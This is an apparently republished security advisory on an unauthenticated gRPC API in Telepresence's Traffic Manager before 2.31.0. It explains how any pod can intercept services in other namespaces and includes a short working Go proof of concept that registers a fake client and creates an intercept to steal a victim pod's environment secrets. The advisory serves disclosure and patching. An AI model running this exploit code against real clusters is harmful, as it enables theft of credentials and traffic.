
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: < 2.31.0
Patched in 2.31.0
Details
Telepresence's Traffic Manager gRPC API (port 8081) requires no authentication. Any pod with cluster-network access to the Traffic Manager can register as a client in an arbitrary managed namespace and create intercepts against services in that namespace, regardless of Kubernetes RBAC. On interception the victim pod's complete container environment (secrets, tokens, API keys) is delivered to the attacker. Tested on HEAD v2.28.0, commit b2231a4.
The gRPC server is started with no auth interceptor (pkg/grpc/server/server.go). The connection uses plaintext: grpc.WithTransportCredentials(insecure.NewCredentials()).
ArriveAsClient stores the caller-supplied Namespace without verifying the caller is in that namespace. The only gate is whether the namespace is in the Traffic Manager's watchlist (ManagesNamespace):
// cmd/traffic/cmd/manager/service.go:181-201
func (s *service) ArriveAsClient(..., client *rpc.ClientInfo) (*rpc.SessionInfo, error) {
if !s.State().ManagesNamespace(ctx, client.Namespace) {
return nil, status.Error(codes.FailedPrecondition, ...)
}
// No SAR, no bearer token, no kubeconfig check
return &rpc.SessionInfo{SessionId: string(s.state.AddClient(client, ...))}, nil
}
CreateIntercept calls managedTargetNamespace() which also only checks ManagesNamespace(target_ns) — never that the target equals the client's own registered namespace (service.go:929). A session registered in namespace A can intercept namespace B as long as B is also watched. On interception, the victim pod's full container environment is forwarded via intercept.Environment = rIReq.Environment.
From any pod in the cluster:
conn, _ := grpc.NewClient("traffic-manager.ambassador:8081",
grpc.WithTransportCredentials(insecure.NewCredentials()))
mgr := rpc.NewManagerClient(conn)
session, _ := mgr.ArriveAsClient(ctx, &rpc.ClientInfo{
Name: "attacker@pod", Namespace: "payments",
InstallId: uuid.NewString(), Product: "telepresence", Version: "2.20.0",
})
mgr.CreateIntercept(ctx, &rpc.CreateInterceptRequest{
Session: session,
InterceptSpec: &rpc.InterceptSpec{
Name: "steal", Agent: "payments-api", Namespace: "payments",
Mechanism: "tcp", Client: "attacker@pod",
},
})
Supplying a namespace not in the TM watchlist returns FailedPrecondition, confirming the only gate is the watchlist check.
Any pod operator in the cluster can intercept services in namespaces they have no Kubernetes RBAC access to, receiving all traffic and environment variables. In the default cluster-wide Traffic Manager deployment all namespaces are managed. Secrets mounted as environment variables (database passwords, API keys, service account tokens) are exfiltrated with no audit trail on the victim namespace.
EPSS, exploit probability
Low0.28%
estimated chance of real-world exploitation in the next 30 days, higher than 20.8% of every CVE FIRST.org scores
Refreshed 11/10/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.